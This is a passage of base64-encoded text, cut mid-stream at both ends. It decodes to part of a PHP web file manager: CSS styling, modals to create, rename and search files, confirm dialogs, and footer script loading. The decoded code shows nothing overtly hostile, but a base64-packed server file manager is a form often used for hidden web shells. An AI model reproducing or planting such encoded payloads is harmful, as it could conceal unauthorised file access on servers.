ItYWN0aW9uIGxpIHsgbWFyZ2luLWJvdHRvbToxMHB4OyB9CiAgICAgICAgLmFwcC12LXRpdGxlIHsgZm9udC1zaXplOjI0cHg7Zm9udC13ZWlnaHQ6MzAwO2xldHRlci1zcGFjaW5nOi0uNXB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgfQogICAgICAgIGhyLmN1c3RvbS1ociB7IGJvcmRlci10b3A6MXB4IGRhc2hlZCAjOGM4YjhiO2JvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZmZmOyB9CiAgICAgICAgI3NuYWNrYmFyIHsgdmlzaWJpbGl0eTpoaWRkZW47bWluLXdpZHRoOjI1MHB4O21hcmdpbi1sZWZ0Oi0xMjVweDtiYWNrZ3JvdW5kLWNvbG9yOiMzMzM7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItcmFkaXVzOjJweDtwYWRkaW5nOjE2cHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxO2xlZnQ6NTAlO2JvdHRvbTozMHB4O2ZvbnQtc2l6ZToxN3B4OyB9CiAgICAgICAgI3NuYWNrYmFyLnNob3cgeyB2aXNpYmlsaXR5OnZpc2libGU7LXdlYmtpdC1hbmltYXRpb246ZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO2FuaW1hdGlvbjpmYWRlaW4gMC41cywgZmFkZW91dCAwLjVzIDIuNXM7IH0KICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHsgZnJvbSB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9CiAgICAgICAgfQogICAgICAgIEBrZXlmcmFtZXMgZmFkZWluIHsgZnJvbSB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIHRvIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9CiAgICAgICAgfQogICAgICAgIEAtd2Via2l0LWtleWZyYW1lcyBmYWRlb3V0IHsgZnJvbSB7IGJvdHRvbTozMHB4O29wYWNpdHk6MTsgfQogICAgICAgIHRvIHsgYm90dG9tOjA7b3BhY2l0eTowOyB9CiAgICAgICAgfQogICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7IGZyb20geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0KICAgICAgICB0byB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIH0KICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlIHsgYm9yZGVyLWJvdHRvbToycHggc29saWQgI2Y4ZjlmYSB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMSkgeyBib3JkZXItY29sb3I6I2RmNDIyNyB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikgeyBib3JkZXItY29sb3I6I2Y4YjYwMCB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMykgeyBib3JkZXItY29sb3I6IzAwYmQ2MCB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNCkgeyBib3JkZXItY29sb3I6IzQ1ODFmZiB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkgeyBib3JkZXItY29sb3I6I2FjNjhmYyB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNikgeyBib3JkZXItY29sb3I6IzQ1YzNkMiB9CiAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLWRldmljZS13aWR0aDo3NjhweCkgYW5kIChtYXgtZGV2aWNlLXdpZHRoOjEwMjRweCkgYW5kIChvcmllbnRhdGlvbjpsYW5kc2NhcGUpIGFuZCAoLXdlYmtpdC1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjIpIHsgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYgeyBwYWRkaW5nOjA7IH0KICAgICAgICB9CiAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsLmJ0bi5hY3RpdmU6Zm9jdXMsLmJ0bi5mb2N1cywuYnRuLmZvY3VzOmFjdGl2ZSwuYnRuOmFjdGl2ZTpmb2N1cywuYnRuOmZvY3VzIHsgb3V0bGluZTowIWltcG9ydGFudDtvdXRsaW5lLW9mZnNldDowIWltcG9ydGFudDtiYWNrZ3JvdW5kLWltYWdlOm5vbmUhaW1wb3J0YW50Oy13ZWJraXQtYm94LXNoYWRvdzpub25lIWltcG9ydGFudDtib3gtc2hhZG93Om5vbmUhaW1wb3J0YW50IH0KICAgICAgICAubGRzLWZhY2Vib29rIHsgZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjY0cHg7aGVpZ2h0OjY0cHggfQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2LC5sZHMtZmFjZWJvb2suc2hvdy1tZSB7IGRpc3BsYXk6aW5saW5lLWJsb2NrIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7IHBvc2l0aW9uOmFic29sdXRlO2xlZnQ6NnB4O3dpZHRoOjEzcHg7YmFja2dyb3VuZDojMDA3YmZmO2FuaW1hdGlvbjpsZHMtZmFjZWJvb2sgMS4ycyBjdWJpYy1iZXppZXIoMCwuNSwuNSwxKSBpbmZpbml0ZSB9CiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHsgbGVmdDo2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMjRzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikgeyBsZWZ0OjI2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMTJzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykgeyBsZWZ0OjQ1cHg7YW5pbWF0aW9uLWRlbGF5OjBzIH0KICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7IDAlIHsgdG9wOjZweDtoZWlnaHQ6NTFweCB9CiAgICAgICAgMTAwJSw1MCUgeyB0b3A6MTlweDtoZWlnaHQ6MjZweCB9CiAgICAgICAgfQogICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIHsgcGFkZGluZy1sZWZ0OiAwO2JvcmRlcjogMXB4IHNvbGlkICNlY2VjZWNjYzsgfSB1bCNzZWFyY2gtd3JhcHBlciBsaSB7IGxpc3Qtc3R5bGU6IG5vbmU7IHBhZGRpbmc6IDVweDtib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjOyB9CiAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgbGk6bnRoLWNoaWxkKG9kZCl7IGJhY2tncm91bmQ6ICNmOWY5ZjljYzt9CiAgICAgICAgLmMtcHJldmlldy1pbWcgeyBtYXgtd2lkdGg6IDMwMHB4OyB9CiAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7IGJvcmRlci1yYWRpdXM6IDA7IH0KICAgICAgICAuZmxvYXQtcmlnaHQgeyBmbG9hdDogcmlnaHQ7IH0KICAgICAgICAudGFibGUtaG92ZXI+dGJvZHk+dHI6aG92ZXI+dGQ6Zmlyc3QtY2hpbGQgeyBib3JkZXItbGVmdDogMXB4IHNvbGlkICMxYjc3ZmQ7IH0KICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsgYmFja2dyb3VuZC1jb2xvcjogI0Y4RjlGYTsgfQogICAgICAgIC5maWxlbmFtZT5hPmkge21hcmdpbi1yaWdodDogM3B4O30KICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgaWYgKEZNX1RIRU1FID09ICJkYXJrIik6ID8+CiAgICAgICAgPHN0eWxlPgogICAgICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7CiAgICAgICAgICAgICAgICAtLWJnLWNvbG9yOiAjZjNkYWE2OwogICAgICAgICAgICAgICAgLS1icy1kYXJrLXJnYjogMjgsIDM2LCA0MSAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgLS1icy1iZy1vcGFjaXR5OiAxOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC50YWJsZS1kYXJrIHsgLS1icy10YWJsZS1iZzogMjgsIDM2LCA0MSAhaW1wb3J0YW50OyB9CiAgICAgICAgICAgIC5idG4tcHJpbWFyeSB7IC0tYnMtYnRuLWJnOiAjMjY1NjZjOyAtLWJzLWJ0bi1ib3JkZXItY29sb3I6ICMyNjU2NmM7IH0KICAgICAgICAgICAgYm9keS50aGVtZS1kYXJrIHsgYmFja2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KDkwZGVnLCAjMWMyNDI5LCAjMjYzMjM4KTsgY29sb3I6ICNDRkQ4REM7IH0KICAgICAgICAgICAgLmxpc3QtZ3JvdXAgLmxpc3QtZ3JvdXAtaXRlbSB7IGJhY2tncm91bmQ6ICMzNDNhNDA7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLm5hdmJhci1uYXYgaSwgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSwgLmJyZWFrLXdvcmQgeyBjb2xvcjogI0NGRDhEQzsgfQogICAgICAgICAgICBhLCBhOmhvdmVyLCBhOnZpc2l0ZWQsIGE6YWN0aXZlLCAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSwgaS5mYS5mYS1mb2xkZXItbywgaS5nby1iYWNrIHsgY29sb3I6IHZhcigtLWJnLWNvbG9yKTsgfQogICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7IGJhY2tncm91bmQ6ICMyMTJhMmY7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnkgeyBjb2xvcjogI2I4ZTU5YzsgYm9yZGVyLWNvbG9yOiAjYjhlNTljOyB9CiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5OmhvdmVyLCAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeTphY3RpdmUgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMmQ0MTIxO30KICAgICAgICAgICAgLnRoZW1lLWRhcmsgaW5wdXQuZm9ybS1jb250cm9sIHsgYmFja2dyb3VuZC1jb2xvcjogIzEwMTUxODsgY29sb3I6ICNDRkQ4REM7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmRyb3B6b25lIHsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmlubGluZS1hY3Rpb25zID4gYSA+IGkgeyBiYWNrZ3JvdW5kOiAjNzk3NTVlOyB9CiAgICAgICAgICAgIC50aGVtZS1kYXJrIC50ZXh0LXdoaXRlIHsgY29sb3I6ICNDRkQ4REMgIWltcG9ydGFudDsgfQogICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQsIC50YWJsZS1ib3JkZXJlZCB0aCB7IGJvcmRlci1jb2xvcjogIzM0MzQzNDsgfQogICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LCAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGggLmN1c3RvbS1jb250cm9sLWlucHV0IHsgb3BhY2l0eTogMC42Nzg7IH0KICAgICAgICAgICAgLm1lc3NhZ2UgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyNTI5OyB9CiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjogIzNkM2QzZDsgfQogICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzIxMjkyZjsgfQogICAgICAgICAgICBmb3JtLmRyb3B6b25lIHsgYm9yZGVyLWNvbG9yOiAjNzk3NTVlOyB9CiAgICAgICAgPC9zdHlsZT4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2hlYWQ+Cjxib2R5IGNsYXNzPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PiI+CjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgPCEtLSBOZXcgSXRlbSBjcmVhdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJjcmVhdGVOZXdJdGVtIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXdJdGVtTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSIgaWQ9Im5ld0l0ZW1Nb2RhbExhYmVsIj48aSBjbGFzcz0iZmEgZmEtcGx1cy1zcXVhcmUgZmEtZnciPjwvaT48P3BocCBlY2hvIGxuZygnQ3JlYXRlTmV3SXRlbScpID8+PC9oNT4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8cD48bGFiZWwgZm9yPSJuZXdmaWxlIj48P3BocCBlY2hvIGxuZygnSXRlbVR5cGUnKSA/PiA8L2xhYmVsPjwvcD4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj4KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0icmFkaW8iIG5hbWU9Im5ld2ZpbGUiIGlkPSJjdXN0b21SYWRpb0lubGluZTEiIG5hbWU9Im5ld2ZpbGUiIHZhbHVlPSJmaWxlIj4KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTEiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmUiPgogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMiIgdmFsdWU9ImZvbGRlciIgY2hlY2tlZD4KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTIiPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtdC0zIj48bGFiZWwgZm9yPSJuZXdmaWxlbmFtZSI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPC9sYWJlbD48L3A+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGVuYW1lIiBpZD0ibmV3ZmlsZW5hbWUiIHZhbHVlPSIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgaGVyZS4uLicpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ3JlYXRlTm93JykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tIEFkdmFuY2UgU2VhcmNoIE1vZGFsIC0tPgogICAgPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9InNlYXJjaE1vZGFsIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJzZWFyY2hNb2RhbExhYmVsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1sZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSBjb2wtMTAiIGlkPSJzZWFyY2hNb2RhbExhYmVsIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIG1iLTMiPgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+IiBhcmlhLWxhYmVsPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtZGVzY3JpYmVkYnk9InNlYXJjaC1hZGRvbjMiIGlkPSJhZHZhbmNlZC1zZWFyY2giIGF1dG9mb2N1cyByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQiIGlkPSJzZWFyY2gtYWRkb24zIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+PC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvaDU+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxkcy1mYWNlYm9vayI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgICAgICAgICAgICA8dWwgaWQ9InNlYXJjaC13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibS0yIj48P3BocCBlY2hvIGxuZygnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJykgPz48L3A+CiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tUmVuYW1lIE1vZGFsIC0tPgogICAgPGRpdiBjbGFzcz0ibW9kYWwgbW9kYWwtYWxlcnQiIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0icmVuYW1lRGFpbG9nIj4KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgPGZvcm0gY2xhc3M9Im1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvdyA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgIDxoNSBjbGFzcz0ibWItMyI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjwvaDU+CiAgICAgICAgICAgIDxwIGNsYXNzPSJtYi0xIj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZW5hbWVfdG8iIGlkPSJqcy1yZW5hbWUtdG8iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgbmV3IGZpbGUgbmFtZScpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlbmFtZV9mcm9tIiBpZD0ianMtcmVuYW1lLWZyb20iPgogICAgICAgICAgICA8L3A+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciBmbGV4LW5vd3JhcCBwLTAiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48L3N0cm9uZz48L2J1dHRvbj4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tIENvbmZpcm0gTW9kYWwgLS0+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvaHRtbCIgaWQ9ImpzLXRwbC1jb25maXJtIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCBjb25maXJtRGFpbG9nIiBkYXRhLWJzLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEtYnMta2V5Ym9hcmQ9ImZhbHNlIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgaWQ9ImNvbmZpcm1EYWlsb2ctPCV0aGlzLmlkJT4iPgogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3cgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiIGFjdGlvbj0iPCV0aGlzLmFjdGlvbiU+Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1iLTIiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88L2g1PgogICAgICAgICAgICAgICAgPHAgY2xhc3M9Im1iLTEiPjwldGhpcy5jb250ZW50JT48L3A+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9zY3JpcHQ+CgogICAgPD9waHAKICAgIH0KCiAgICAvKioKICAgICAqIFNob3cgcGFnZSBmb290ZXIgYWZ0ZXIgbG9naW4KICAgICAqLwogICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXIoKQogICAgewogICAgPz4KPC9kaXY+Cjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/Pgo8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz4KPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz4KICAgIDxzY3JpcHQ+aGxqcy5oaWdobGlnaHRBbGwoKTsgdmFyIGlzSGlnaGxpZ2h0aW5nRW5hYmxlZCA9IHRydWU7PC9zY3JpcHQ+Cjw/cGhwIGVuZGlmOyA/Pgo8c2NyaXB0PgogICAgZnVuY3Rpb24gdGVtcGxhdGUoaHRtbCxvcHRpb25zKXsKICAgICAgICB2YXIgcmU9LzxcJShbXlwlPl0rKT9cJT4vZyxyZUV4cD0vKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT8vZyxjb2RlPSd2YXIgcj1bXTtcbicsY3Vyc29yPTAsbWF0Y2g7dmFyIGFkZD1mdW5jdGlvbihsaW5lL